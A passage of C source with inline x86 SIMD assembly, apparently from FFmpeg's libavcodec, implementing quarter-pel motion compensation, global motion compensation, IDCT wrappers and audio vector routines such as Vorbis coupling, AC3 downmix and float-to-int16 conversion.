RND ## pixels16_l2_ ## MMX(halfH, src+1, halfH, 16, stride, 17);\ OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(dst, halfH, stride, 16);\ }\ static void OPNAME ## qpel16_mc22_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[17*2];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(dst, halfH, stride, 16);\ } #define PUT_OP(a,b,temp, size) "mov" #size " " #a ", " #b " \n\t" #define AVG_3DNOW_OP(a,b,temp, size) \ "mov" #size " " #b ", " #temp " \n\t"\ "pavgusb " #temp ", " #a " \n\t"\ "mov" #size " " #a ", " #b " \n\t" #define AVG_MMX2_OP(a,b,temp, size) \ "mov" #size " " #b ", " #temp " \n\t"\ "pavgb " #temp ", " #a " \n\t"\ "mov" #size " " #a ", " #b " \n\t" QPEL_BASE(put_ , ff_pw_16, _ , PUT_OP, PUT_OP) QPEL_BASE(avg_ , ff_pw_16, _ , AVG_MMX2_OP, AVG_3DNOW_OP) QPEL_BASE(put_no_rnd_, ff_pw_15, _no_rnd_, PUT_OP, PUT_OP) QPEL_OP(put_ , ff_pw_16, _ , PUT_OP, 3dnow) QPEL_OP(avg_ , ff_pw_16, _ , AVG_3DNOW_OP, 3dnow) QPEL_OP(put_no_rnd_, ff_pw_15, _no_rnd_, PUT_OP, 3dnow) QPEL_OP(put_ , ff_pw_16, _ , PUT_OP, mmx2) QPEL_OP(avg_ , ff_pw_16, _ , AVG_MMX2_OP, mmx2) QPEL_OP(put_no_rnd_, ff_pw_15, _no_rnd_, PUT_OP, mmx2) /***********************************/ /* bilinear qpel: not compliant to any spec, only for -lavdopts fast */ #define QPEL_2TAP_XY(OPNAME, SIZE, MMX, XY, HPEL)\ static void OPNAME ## 2tap_qpel ## SIZE ## _mc ## XY ## _ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels ## SIZE ## HPEL(dst, src, stride, SIZE);\ } #define QPEL_2TAP_L3(OPNAME, SIZE, MMX, XY, S0, S1, S2)\ static void OPNAME ## 2tap_qpel ## SIZE ## _mc ## XY ## _ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## 2tap_qpel ## SIZE ## _l3_ ## MMX(dst, src+S0, stride, SIZE, S1, S2);\ } #define QPEL_2TAP(OPNAME, SIZE, MMX)\ QPEL_2TAP_XY(OPNAME, SIZE, MMX, 20, _x2_ ## MMX)\ QPEL_2TAP_XY(OPNAME, SIZE, MMX, 02, _y2_ ## MMX)\ QPEL_2TAP_XY(OPNAME, SIZE, MMX, 22, _xy2_mmx)\ static const qpel_mc_func OPNAME ## 2tap_qpel ## SIZE ## _mc00_ ## MMX =\ OPNAME ## qpel ## SIZE ## _mc00_ ## MMX;\ static const qpel_mc_func OPNAME ## 2tap_qpel ## SIZE ## _mc21_ ## MMX =\ OPNAME ## 2tap_qpel ## SIZE ## _mc20_ ## MMX;\ static const qpel_mc_func OPNAME ## 2tap_qpel ## SIZE ## _mc12_ ## MMX =\ OPNAME ## 2tap_qpel ## SIZE ## _mc02_ ## MMX;\ static void OPNAME ## 2tap_qpel ## SIZE ## _mc32_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels ## SIZE ## _y2_ ## MMX(dst, src+1, stride, SIZE);\ }\ static void OPNAME ## 2tap_qpel ## SIZE ## _mc23_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels ## SIZE ## _x2_ ## MMX(dst, src+stride, stride, SIZE);\ }\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 10, 0, 1, 0)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 30, 1, -1, 0)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 01, 0, stride, 0)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 03, stride, -stride, 0)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 11, 0, stride, 1)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 31, 1, stride, -1)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 13, stride, -stride, 1)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 33, stride+1, -stride, -1)\ QPEL_2TAP(put_, 16, mmx2) QPEL_2TAP(avg_, 16, mmx2) QPEL_2TAP(put_, 8, mmx2) QPEL_2TAP(avg_, 8, mmx2) QPEL_2TAP(put_, 16, 3dnow) QPEL_2TAP(avg_, 16, 3dnow) QPEL_2TAP(put_, 8, 3dnow) QPEL_2TAP(avg_, 8, 3dnow) #if 0 static void just_return(void) { return; } #endif static void gmc_mmx(uint8_t *dst, uint8_t *src, int stride, int h, int ox, int oy, int dxx, int dxy, int dyx, int dyy, int shift, int r, int width, int height){ const int w = 8; const int ix = ox>>(16+shift); const int iy = oy>>(16+shift); const int oxs = ox>>4; const int oys = oy>>4; const int dxxs = dxx>>4; const int dxys = dxy>>4; const int dyxs = dyx>>4; const int dyys = dyy>>4; const uint16_t r4[4] = {r,r,r,r}; const uint16_t dxy4[4] = {dxys,dxys,dxys,dxys}; const uint16_t dyy4[4] = {dyys,dyys,dyys,dyys}; const uint64_t shift2 = 2*shift; uint8_t edge_buf[(h+1)*stride]; int x, y; const int dxw = (dxx-(1<<(16+shift)))*(w-1); const int dyh = (dyy-(1<<(16+shift)))*(h-1); const int dxh = dxy*(h-1); const int dyw = dyx*(w-1); if( // non-constant fullpel offset (3% of blocks) ((ox^(ox+dxw)) | (ox^(ox+dxh)) | (ox^(ox+dxw+dxh)) | (oy^(oy+dyw)) | (oy^(oy+dyh)) | (oy^(oy+dyw+dyh))) >> (16+shift) // uses more than 16 bits of subpel mv (only at huge resolution) || (dxx|dxy|dyx|dyy)&15 ) { //FIXME could still use mmx for some of the rows ff_gmc_c(dst, src, stride, h, ox, oy, dxx, dxy, dyx, dyy, shift, r, width, height); return; } src += ix + iy*stride; if( (unsigned)ix >= width-w || (unsigned)iy >= height-h ) { ff_emulated_edge_mc(edge_buf, src, stride, w+1, h+1, ix, iy, width, height); src = edge_buf; } __asm__ volatile( "movd %0, %%mm6 \n\t" "pxor %%mm7, %%mm7 \n\t" "punpcklwd %%mm6, %%mm6 \n\t" "punpcklwd %%mm6, %%mm6 \n\t" :: "r"(1<<shift) ); for(x=0; x<w; x+=4){ uint16_t dx4[4] = { oxs - dxys + dxxs*(x+0), oxs - dxys + dxxs*(x+1), oxs - dxys + dxxs*(x+2), oxs - dxys + dxxs*(x+3) }; uint16_t dy4[4] = { oys - dyys + dyxs*(x+0), oys - dyys + dyxs*(x+1), oys - dyys + dyxs*(x+2), oys - dyys + dyxs*(x+3) }; for(y=0; y<h; y++){ __asm__ volatile( "movq %0, %%mm4 \n\t" "movq %1, %%mm5 \n\t" "paddw %2, %%mm4 \n\t" "paddw %3, %%mm5 \n\t" "movq %%mm4, %0 \n\t" "movq %%mm5, %1 \n\t" "psrlw $12, %%mm4 \n\t" "psrlw $12, %%mm5 \n\t" : "+m"(*dx4), "+m"(*dy4) : "m"(*dxy4), "m"(*dyy4) ); __asm__ volatile( "movq %%mm6, %%mm2 \n\t" "movq %%mm6, %%mm1 \n\t" "psubw %%mm4, %%mm2 \n\t" "psubw %%mm5, %%mm1 \n\t" "movq %%mm2, %%mm0 \n\t" "movq %%mm4, %%mm3 \n\t" "pmullw %%mm1, %%mm0 \n\t" // (s-dx)*(s-dy) "pmullw %%mm5, %%mm3 \n\t" // dx*dy "pmullw %%mm5, %%mm2 \n\t" // (s-dx)*dy "pmullw %%mm4, %%mm1 \n\t" // dx*(s-dy) "movd %4, %%mm5 \n\t" "movd %3, %%mm4 \n\t" "punpcklbw %%mm7, %%mm5 \n\t" "punpcklbw %%mm7, %%mm4 \n\t" "pmullw %%mm5, %%mm3 \n\t" // src[1,1] * dx*dy "pmullw %%mm4, %%mm2 \n\t" // src[0,1] * (s-dx)*dy "movd %2, %%mm5 \n\t" "movd %1, %%mm4 \n\t" "punpcklbw %%mm7, %%mm5 \n\t" "punpcklbw %%mm7, %%mm4 \n\t" "pmullw %%mm5, %%mm1 \n\t" // src[1,0] * dx*(s-dy) "pmullw %%mm4, %%mm0 \n\t" // src[0,0] * (s-dx)*(s-dy) "paddw %5, %%mm1 \n\t" "paddw %%mm3, %%mm2 \n\t" "paddw %%mm1, %%mm0 \n\t" "paddw %%mm2, %%mm0 \n\t" "psrlw %6, %%mm0 \n\t" "packuswb %%mm0, %%mm0 \n\t" "movd %%mm0, %0 \n\t" : "=m"(dst[x+y*stride]) : "m"(src[0]), "m"(src[1]), "m"(src[stride]), "m"(src[stride+1]), "m"(*r4), "m"(shift2) ); src += stride; } src += 4-h*stride; } } #define PREFETCH(name, op) \ static void name(void *mem, int stride, int h){\ const uint8_t *p= mem;\ do{\ __asm__ volatile(#op" %0" :: "m"(*p));\ p+= stride;\ }while(--h);\ } PREFETCH(prefetch_mmx2, prefetcht0) PREFETCH(prefetch_3dnow, prefetch) #undef PREFETCH #include "h264dsp_mmx.c" #include "rv40dsp_mmx.c" /* CAVS specific */ void ff_put_cavs_qpel8_mc00_mmx2(uint8_t *dst, uint8_t *src, int stride) { put_pixels8_mmx(dst, src, stride, 8); } void ff_avg_cavs_qpel8_mc00_mmx2(uint8_t *dst, uint8_t *src, int stride) { avg_pixels8_mmx(dst, src, stride, 8); } void ff_put_cavs_qpel16_mc00_mmx2(uint8_t *dst, uint8_t *src, int stride) { put_pixels16_mmx(dst, src, stride, 16); } void ff_avg_cavs_qpel16_mc00_mmx2(uint8_t *dst, uint8_t *src, int stride) { avg_pixels16_mmx(dst, src, stride, 16); } /* VC1 specific */ void ff_put_vc1_mspel_mc00_mmx(uint8_t *dst, const uint8_t *src, int stride, int rnd) { put_pixels8_mmx(dst, src, stride, 8); } void ff_avg_vc1_mspel_mc00_mmx2(uint8_t *dst, const uint8_t *src, int stride, int rnd) { avg_pixels8_mmx2(dst, src, stride, 8); } /* XXX: those functions should be suppressed ASAP when all IDCTs are converted */ #if CONFIG_GPL static void ff_libmpeg2mmx_idct_put(uint8_t *dest, int line_size, DCTELEM *block) { ff_mmx_idct (block); put_pixels_clamped_mmx(block, dest, line_size); } static void ff_libmpeg2mmx_idct_add(uint8_t *dest, int line_size, DCTELEM *block) { ff_mmx_idct (block); add_pixels_clamped_mmx(block, dest, line_size); } static void ff_libmpeg2mmx2_idct_put(uint8_t *dest, int line_size, DCTELEM *block) { ff_mmxext_idct (block); put_pixels_clamped_mmx(block, dest, line_size); } static void ff_libmpeg2mmx2_idct_add(uint8_t *dest, int line_size, DCTELEM *block) { ff_mmxext_idct (block); add_pixels_clamped_mmx(block, dest, line_size); } #endif static void ff_idct_xvid_mmx_put(uint8_t *dest, int line_size, DCTELEM *block) { ff_idct_xvid_mmx (block); put_pixels_clamped_mmx(block, dest, line_size); } static void ff_idct_xvid_mmx_add(uint8_t *dest, int line_size, DCTELEM *block) { ff_idct_xvid_mmx (block); add_pixels_clamped_mmx(block, dest, line_size); } static void ff_idct_xvid_mmx2_put(uint8_t *dest, int line_size, DCTELEM *block) { ff_idct_xvid_mmx2 (block); put_pixels_clamped_mmx(block, dest, line_size); } static void ff_idct_xvid_mmx2_add(uint8_t *dest, int line_size, DCTELEM *block) { ff_idct_xvid_mmx2 (block); add_pixels_clamped_mmx(block, dest, line_size); } static void vorbis_inverse_coupling_3dnow(float *mag, float *ang, int blocksize) { int i; __asm__ volatile("pxor %%mm7, %%mm7":); for(i=0; i<blocksize; i+=2) { __asm__ volatile( "movq %0, %%mm0 \n\t" "movq %1, %%mm1 \n\t" "movq %%mm0, %%mm2 \n\t" "movq %%mm1, %%mm3 \n\t" "pfcmpge %%mm7, %%mm2 \n\t" // m <= 0.0 "pfcmpge %%mm7, %%mm3 \n\t" // a <= 0.0 "pslld $31, %%mm2 \n\t" // keep only the sign bit "pxor %%mm2, %%mm1 \n\t" "movq %%mm3, %%mm4 \n\t" "pand %%mm1, %%mm3 \n\t" "pandn %%mm1, %%mm4 \n\t" "pfadd %%mm0, %%mm3 \n\t" // a = m + ((a<0) & (a ^ sign(m))) "pfsub %%mm4, %%mm0 \n\t" // m = m + ((a>0) & (a ^ sign(m))) "movq %%mm3, %1 \n\t" "movq %%mm0, %0 \n\t" :"+m"(mag[i]), "+m"(ang[i]) ::"memory" ); } __asm__ volatile("femms"); } static void vorbis_inverse_coupling_sse(float *mag, float *ang, int blocksize) { int i; __asm__ volatile( "movaps %0, %%xmm5 \n\t" ::"m"(ff_pdw_80000000[0]) ); for(i=0; i<blocksize; i+=4) { __asm__ volatile( "movaps %0, %%xmm0 \n\t" "movaps %1, %%xmm1 \n\t" "xorps %%xmm2, %%xmm2 \n\t" "xorps %%xmm3, %%xmm3 \n\t" "cmpleps %%xmm0, %%xmm2 \n\t" // m <= 0.0 "cmpleps %%xmm1, %%xmm3 \n\t" // a <= 0.0 "andps %%xmm5, %%xmm2 \n\t" // keep only the sign bit "xorps %%xmm2, %%xmm1 \n\t" "movaps %%xmm3, %%xmm4 \n\t" "andps %%xmm1, %%xmm3 \n\t" "andnps %%xmm1, %%xmm4 \n\t" "addps %%xmm0, %%xmm3 \n\t" // a = m + ((a<0) & (a ^ sign(m))) "subps %%xmm4, %%xmm0 \n\t" // m = m + ((a>0) & (a ^ sign(m))) "movaps %%xmm3, %1 \n\t" "movaps %%xmm0, %0 \n\t" :"+m"(mag[i]), "+m"(ang[i]) ::"memory" ); } } #define IF1(x) x #define IF0(x) #define MIX5(mono,stereo)\ __asm__ volatile(\ "movss 0(%2), %%xmm5 \n"\ "movss 8(%2), %%xmm6 \n"\ "movss 24(%2), %%xmm7 \n"\ "shufps $0, %%xmm5, %%xmm5 \n"\ "shufps $0, %%xmm6, %%xmm6 \n"\ "shufps $0, %%xmm7, %%xmm7 \n"\ "1: \n"\ "movaps (%0,%1), %%xmm0 \n"\ "movaps 0x400(%0,%1), %%xmm1 \n"\ "movaps 0x800(%0,%1), %%xmm2 \n"\ "movaps 0xc00(%0,%1), %%xmm3 \n"\ "movaps 0x1000(%0,%1), %%xmm4 \n"\ "mulps %%xmm5, %%xmm0 \n"\ "mulps %%xmm6, %%xmm1 \n"\ "mulps %%xmm5, %%xmm2 \n"\ "mulps %%xmm7, %%xmm3 \n"\ "mulps %%xmm7, %%xmm4 \n"\ stereo("addps %%xmm1, %%xmm0 \n")\ "addps %%xmm1, %%xmm2 \n"\ "addps %%xmm3, %%xmm0 \n"\ "addps %%xmm4, %%xmm2 \n"\ mono("addps %%xmm2, %%xmm0 \n")\ "movaps %%xmm0, (%0,%1) \n"\ stereo("movaps %%xmm2, 0x400(%0,%1) \n")\ "add $16, %0 \n"\ "jl 1b \n"\ :"+&r"(i)\ :"r"(samples[0]+len), "r"(matrix)\ :"memory"\ ); #define MIX_MISC(stereo)\ __asm__ volatile(\ "1: \n"\ "movaps (%3,%0), %%xmm0 \n"\ stereo("movaps %%xmm0, %%xmm1 \n")\ "mulps %%xmm6, %%xmm0 \n"\ stereo("mulps %%xmm7, %%xmm1 \n")\ "lea 1024(%3,%0), %1 \n"\ "mov %5, %2 \n"\ "2: \n"\ "movaps (%1), %%xmm2 \n"\ stereo("movaps %%xmm2, %%xmm3 \n")\ "mulps (%4,%2), %%xmm2 \n"\ stereo("mulps 16(%4,%2), %%xmm3 \n")\ "addps %%xmm2, %%xmm0 \n"\ stereo("addps %%xmm3, %%xmm1 \n")\ "add $1024, %1 \n"\ "add $32, %2 \n"\ "jl 2b \n"\ "movaps %%xmm0, (%3,%0) \n"\ stereo("movaps %%xmm1, 1024(%3,%0) \n")\ "add $16, %0 \n"\ "jl 1b \n"\ :"+&r"(i), "=&r"(j), "=&r"(k)\ :"r"(samples[0]+len), "r"(matrix_simd+in_ch), "g"((intptr_t)-32*(in_ch-1))\ :"memory"\ ); static void ac3_downmix_sse(float (*samples)[256], float (*matrix)[2], int out_ch, int in_ch, int len) { int (*matrix_cmp)[2] = (int(*)[2])matrix; intptr_t i,j,k; i = -len*sizeof(float); if(in_ch == 5 && out_ch == 2 && !(matrix_cmp[0][1]|matrix_cmp[2][0]|matrix_cmp[3][1]|matrix_cmp[4][0]|(matrix_cmp[1][0]^matrix_cmp[1][1])|(matrix_cmp[0][0]^matrix_cmp[2][1]))) { MIX5(IF0,IF1); } else if(in_ch == 5 && out_ch == 1 && matrix_cmp[0][0]==matrix_cmp[2][0] && matrix_cmp[3][0]==matrix_cmp[4][0]) { MIX5(IF1,IF0); } else { DECLARE_ALIGNED(16, float, matrix_simd)[in_ch][2][4]; j = 2*in_ch*sizeof(float); __asm__ volatile( "1: \n" "sub $8, %0 \n" "movss (%2,%0), %%xmm6 \n" "movss 4(%2,%0), %%xmm7 \n" "shufps $0, %%xmm6, %%xmm6 \n" "shufps $0, %%xmm7, %%xmm7 \n" "movaps %%xmm6, (%1,%0,4) \n" "movaps %%xmm7, 16(%1,%0,4) \n" "jg 1b \n" :"+&r"(j) :"r"(matrix_simd), "r"(matrix) :"memory" ); if(out_ch == 2) { MIX_MISC(IF1); } else { MIX_MISC(IF0); } } } static void vector_fmul_3dnow(float *dst, const float *src, int len){ x86_reg i = (len-4)*4; __asm__ volatile( "1: \n\t" "movq (%1,%0), %%mm0 \n\t" "movq 8(%1,%0), %%mm1 \n\t" "pfmul (%2,%0), %%mm0 \n\t" "pfmul 8(%2,%0), %%mm1 \n\t" "movq %%mm0, (%1,%0) \n\t" "movq %%mm1, 8(%1,%0) \n\t" "sub $16, %0 \n\t" "jge 1b \n\t" "femms \n\t" :"+r"(i) :"r"(dst), "r"(src) :"memory" ); } static void vector_fmul_sse(float *dst, const float *src, int len){ x86_reg i = (len-8)*4; __asm__ volatile( "1: \n\t" "movaps (%1,%0), %%xmm0 \n\t" "movaps 16(%1,%0), %%xmm1 \n\t" "mulps (%2,%0), %%xmm0 \n\t" "mulps 16(%2,%0), %%xmm1 \n\t" "movaps %%xmm0, (%1,%0) \n\t" "movaps %%xmm1, 16(%1,%0) \n\t" "sub $32, %0 \n\t" "jge 1b \n\t" :"+r"(i) :"r"(dst), "r"(src) :"memory" ); } static void vector_fmul_reverse_3dnow2(float *dst, const float *src0, const float *src1, int len){ x86_reg i = len*4-16; __asm__ volatile( "1: \n\t" "pswapd 8(%1), %%mm0 \n\t" "pswapd (%1), %%mm1 \n\t" "pfmul (%3,%0), %%mm0 \n\t" "pfmul 8(%3,%0), %%mm1 \n\t" "movq %%mm0, (%2,%0) \n\t" "movq %%mm1, 8(%2,%0) \n\t" "add $16, %1 \n\t" "sub $16, %0 \n\t" "jge 1b \n\t" :"+r"(i), "+r"(src1) :"r"(dst), "r"(src0) ); __asm__ volatile("femms"); } static void vector_fmul_reverse_sse(float *dst, const float *src0, const float *src1, int len){ x86_reg i = len*4-32; __asm__ volatile( "1: \n\t" "movaps 16(%1), %%xmm0 \n\t" "movaps (%1), %%xmm1 \n\t" "shufps $0x1b, %%xmm0, %%xmm0 \n\t" "shufps $0x1b, %%xmm1, %%xmm1 \n\t" "mulps (%3,%0), %%xmm0 \n\t" "mulps 16(%3,%0), %%xmm1 \n\t" "movaps %%xmm0, (%2,%0) \n\t" "movaps %%xmm1, 16(%2,%0) \n\t" "add $32, %1 \n\t" "sub $32, %0 \n\t" "jge 1b \n\t" :"+r"(i), "+r"(src1) :"r"(dst), "r"(src0) ); } static void vector_fmul_add_3dnow(float *dst, const float *src0, const float *src1, const float *src2, int len){ x86_reg i = (len-4)*4; __asm__ volatile( "1: \n\t" "movq (%2,%0), %%mm0 \n\t" "movq 8(%2,%0), %%mm1 \n\t" "pfmul (%3,%0), %%mm0 \n\t" "pfmul 8(%3,%0), %%mm1 \n\t" "pfadd (%4,%0), %%mm0 \n\t" "pfadd 8(%4,%0), %%mm1 \n\t" "movq %%mm0, (%1,%0) \n\t" "movq %%mm1, 8(%1,%0) \n\t" "sub $16, %0 \n\t" "jge 1b \n\t" :"+r"(i) :"r"(dst), "r"(src0), "r"(src1), "r"(src2) :"memory" ); __asm__ volatile("femms"); } static void vector_fmul_add_sse(float *dst, const float *src0, const float *src1, const float *src2, int len){ x86_reg i = (len-8)*4; __asm__ volatile( "1: \n\t" "movaps (%2,%0), %%xmm0 \n\t" "movaps 16(%2,%0), %%xmm1 \n\t" "mulps (%3,%0), %%xmm0 \n\t" "mulps 16(%3,%0), %%xmm1 \n\t" "addps (%4,%0), %%xmm0 \n\t" "addps 16(%4,%0), %%xmm1 \n\t" "movaps %%xmm0, (%1,%0) \n\t" "movaps %%xmm1, 16(%1,%0) \n\t" "sub $32, %0 \n\t" "jge 1b \n\t" :"+r"(i) :"r"(dst), "r"(src0), "r"(src1), "r"(src2) :"memory" ); } static void vector_fmul_window_3dnow2(float *dst, const float *src0, const float *src1, const float *win, float add_bias, int len){ #if HAVE_6REGS if(add_bias == 0){ x86_reg i = -len*4; x86_reg j = len*4-8; __asm__ volatile( "1: \n" "pswapd (%5,%1), %%mm1 \n" "movq (%5,%0), %%mm0 \n" "pswapd (%4,%1), %%mm5 \n" "movq (%3,%0), %%mm4 \n" "movq %%mm0, %%mm2 \n" "movq %%mm1, %%mm3 \n" "pfmul %%mm4, %%mm2 \n" // src0[len+i]*win[len+i] "pfmul %%mm5, %%mm3 \n" // src1[ j]*win[len+j] "pfmul %%mm4, %%mm1 \n" // src0[len+i]*win[len+j] "pfmul %%mm5, %%mm0 \n" // src1[ j]*win[len+i] "pfadd %%mm3, %%mm2 \n" "pfsub %%mm0, %%mm1 \n" "pswapd %%mm2, %%mm2 \n" "movq %%mm1, (%2,%0) \n" "movq %%mm2, (%2,%1) \n" "sub $8, %1 \n" "add $8, %0 \n" "jl 1b \n" "femms \n" :"+r"(i), "+r"(j) :"r"(dst+len), "r"(src0+len), "r"(src1), "r"(win+len) ); }else #endif ff_vector_fmul_window_c(dst, src0, src1, win, add_bias, len); } static void vector_fmul_window_sse(float *dst, const float *src0, const float *src1, const float *win, float add_bias, int len){ #if HAVE_6REGS if(add_bias == 0){ x86_reg i = -len*4; x86_reg j = len*4-16; __asm__ volatile( "1: \n" "movaps (%5,%1), %%xmm1 \n" "movaps (%5,%0), %%xmm0 \n" "movaps (%4,%1), %%xmm5 \n" "movaps (%3,%0), %%xmm4 \n" "shufps $0x1b, %%xmm1, %%xmm1 \n" "shufps $0x1b, %%xmm5, %%xmm5 \n" "movaps %%xmm0, %%xmm2 \n" "movaps %%xmm1, %%xmm3 \n" "mulps %%xmm4, %%xmm2 \n" // src0[len+i]*win[len+i] "mulps %%xmm5, %%xmm3 \n" // src1[ j]*win[len+j] "mulps %%xmm4, %%xmm1 \n" // src0[len+i]*win[len+j] "mulps %%xmm5, %%xmm0 \n" // src1[ j]*win[len+i] "addps %%xmm3, %%xmm2 \n" "subps %%xmm0, %%xmm1 \n" "shufps $0x1b, %%xmm2, %%xmm2 \n" "movaps %%xmm1, (%2,%0) \n" "movaps %%xmm2, (%2,%1) \n" "sub $16, %1 \n" "add $16, %0 \n" "jl 1b \n" :"+r"(i), "+r"(j) :"r"(dst+len), "r"(src0+len), "r"(src1), "r"(win+len) ); }else #endif ff_vector_fmul_window_c(dst, src0, src1, win, add_bias, len); } static void int32_to_float_fmul_scalar_sse(float *dst, const int *src, float mul, int len) { x86_reg i = -4*len; __asm__ volatile( "movss %3, %%xmm4 \n" "shufps $0, %%xmm4, %%xmm4 \n" "1: \n" "cvtpi2ps (%2,%0), %%xmm0 \n" "cvtpi2ps 8(%2,%0), %%xmm1 \n" "cvtpi2ps 16(%2,%0), %%xmm2 \n" "cvtpi2ps 24(%2,%0), %%xmm3 \n" "movlhps %%xmm1, %%xmm0 \n" "movlhps %%xmm3, %%xmm2 \n" "mulps %%xmm4, %%xmm0 \n" "mulps %%xmm4, %%xmm2 \n" "movaps %%xmm0, (%1,%0) \n" "movaps %%xmm2, 16(%1,%0) \n" "add $32, %0 \n" "jl 1b \n" :"+r"(i) :"r"(dst+len), "r"(src+len), "m"(mul) ); } static void int32_to_float_fmul_scalar_sse2(float *dst, const int *src, float mul, int len) { x86_reg i = -4*len; __asm__ volatile( "movss %3, %%xmm4 \n" "shufps $0, %%xmm4, %%xmm4 \n" "1: \n" "cvtdq2ps (%2,%0), %%xmm0 \n" "cvtdq2ps 16(%2,%0), %%xmm1 \n" "mulps %%xmm4, %%xmm0 \n" "mulps %%xmm4, %%xmm1 \n" "movaps %%xmm0, (%1,%0) \n" "movaps %%xmm1, 16(%1,%0) \n" "add $32, %0 \n" "jl 1b \n" :"+r"(i) :"r"(dst+len), "r"(src+len), "m"(mul) ); } static void vector_clipf_sse(float *dst, const float *src, float min, float max, int len) { x86_reg i = (len-16)*4; __asm__ volatile( "movss %3, %%xmm4 \n" "movss %4, %%xmm5 \n" "shufps $0, %%xmm4, %%xmm4 \n" "shufps $0, %%xmm5, %%xmm5 \n" "1: \n\t" "movaps (%2,%0), %%xmm0 \n\t" // 3/1 on intel "movaps 16(%2,%0), %%xmm1 \n\t" "movaps 32(%2,%0), %%xmm2 \n\t" "movaps 48(%2,%0), %%xmm3 \n\t" "maxps %%xmm4, %%xmm0 \n\t" "maxps %%xmm4, %%xmm1 \n\t" "maxps %%xmm4, %%xmm2 \n\t" "maxps %%xmm4, %%xmm3 \n\t" "minps %%xmm5, %%xmm0 \n\t" "minps %%xmm5, %%xmm1 \n\t" "minps %%xmm5, %%xmm2 \n\t" "minps %%xmm5, %%xmm3 \n\t" "movaps %%xmm0, (%1,%0) \n\t" "movaps %%xmm1, 16(%1,%0) \n\t" "movaps %%xmm2, 32(%1,%0) \n\t" "movaps %%xmm3, 48(%1,%0) \n\t" "sub $64, %0 \n\t" "jge 1b \n\t" :"+&r"(i) :"r"(dst), "r"(src), "m"(min), "m"(max) :"memory" ); } static void float_to_int16_3dnow(int16_t *dst, const float *src, long len){ x86_reg reglen = len; // not bit-exact: pf2id uses different rounding than C and SSE __asm__ volatile( "add %0 , %0 \n\t" "lea (%2,%0,2) , %2 \n\t" "add %0 , %1 \n\t" "neg %0 \n\t" "1: \n\t" "pf2id (%2,%0,2) , %%mm0 \n\t" "pf2id 8(%2,%0,2) , %%mm1 \n\t" "pf2id 16(%2,%0,2) , %%mm2 \n\t" "pf2id 24(%2,%0,2) , %%mm3 \n\t" "packssdw %%mm1 , %%mm0 \n\t" "packssdw %%mm3 , %%mm2 \n\t" "movq %%mm0 , (%1,%0) \n\t" "movq %%mm2 , 8(%1,%0) \n\t" "add $16 , %0 \n\t" " js 1b \n\t" "femms \n\t" :"+r"(reglen), "+r"(dst), "+r"(src) ); } static void float_to_int16_sse(int16_t *dst, const float *src, long len){ x86_reg reglen = len; __asm__ volatile( "add %0 , %0 \n\t" "lea (%2,%0,2) , %2 \n\t" "add %0 , %1 \n\t" "neg %0 \n\t" "1: \n\t" "cvtps2pi (%2,%0,2) , %%mm0 \n\t" "cvtps2pi 8(%2,%0,2) , %%mm1 \n\t" "cvtps2pi 16(%2,%0,2) , %%mm2 \n\t" "cvtps2pi 24(%2,%0,2) , %%mm3 \n\t" "packssdw %%mm1 , %%mm0 \n\t" "packssdw %%mm3 , %%mm2 \n\t" "movq %%mm0 , (%1,%0) \n\t" "movq %%mm2 , 8(%1,%0) \n\t" "add $16 , %0 \n\t" " js 1b \n\t" "emms \n\t" :"+r"(reglen), "+r"(dst), "+r"(src) ); } static void float_to_int16_sse2(int16_t *dst, const float *src, long len){ x86_reg reglen = len; __asm__ volatile( "add %0 , %0 \n\t" "lea (%2,%0,2) , %2 \n\t" "add %0 , %1 \n\t" "neg %0 \n\t" "1: \n\t" "cvtps2dq (%2,%0,2) , %%xmm0 \n\t" "cvtps2dq 16(%2,%0,2) , %%xmm1 \n\t" "packssdw %%xmm1 , %%xmm0 \n\t" "movdqa %%xmm0 , (%1,%0) \n\t" "add $16 , %0 \n\t" " js 1b \n\t" :"+r"(reglen), "+r"(dst), "+r"(src) ); } void ff_float_to_int16_interleave6_sse(int16_t *dst, const float **src, int len); void ff_float_to_int16_interleave6_3dnow(int16_t *dst, const float **src, int len); void ff_float_to_int16_interleave6_3dn2(int16_t *dst, const float **src, int len); int32_t ff_scalarproduct_int16_mmx2(int16_t *v1, int16_t *v2, int order, int shift); int32_t ff_scalarproduct_int16_sse2(int16_t *v1, int16_t *v2, int order, int shift); int32_t ff_scalarproduct_and_madd_int16_mmx2(int16_t *v1, int16_t *v2, int16_t *v3, int order, int mul); int32_t ff_scalarproduct_and_madd_int16_sse2(int16_t *v1, int16_t *v2, int16_t *v3, int order, int mul); int32_t ff_scalarproduct_and_madd_int16_ssse3(int16_t *v1, int16_t *v2, int16_t *v3, int order, int mul); void ff_add_hfyu_median_prediction_mmx2(uint8_t *dst, const uint8_t *top, const uint8_t *diff, int w, int *left, int *left_top); int ff_add_hfyu_left_prediction_ssse3(uint8_t *dst, const uint8_t *src, int w, int left); int ff_add_hfyu_left_prediction_sse4(uint8_t *dst, const uint8_t *src, int w, int left); void ff_x264_deblock_v_luma_sse2(uint8_t *pix, int stride, int alpha, int beta, int8_t *tc0); void ff_x264_deblock_h_luma_sse2(uint8_t *pix, int stride, int alpha, int beta, int8_t *tc0); void ff_x264_deblock_h_luma_intra_mmxext(uint8_t *pix, int stride, int alpha, int beta); void ff_x264_deblock_v_luma_intra_sse2(uint8_t *pix, int stride, int alpha, int beta); void ff_x264_deblock_h_luma_intra_sse2(uint8_t *pix, int stride, int alpha, int beta); #if HAVE_YASM && ARCH_X86_32 void ff_x264_deblock_v8_luma_intra_mmxext(uint8_t *pix, int stride, int alpha, int beta); static void ff_x264_deblock_v_luma_intra_mmxext(uint8_t *pix, int stride, int alpha, int beta) { 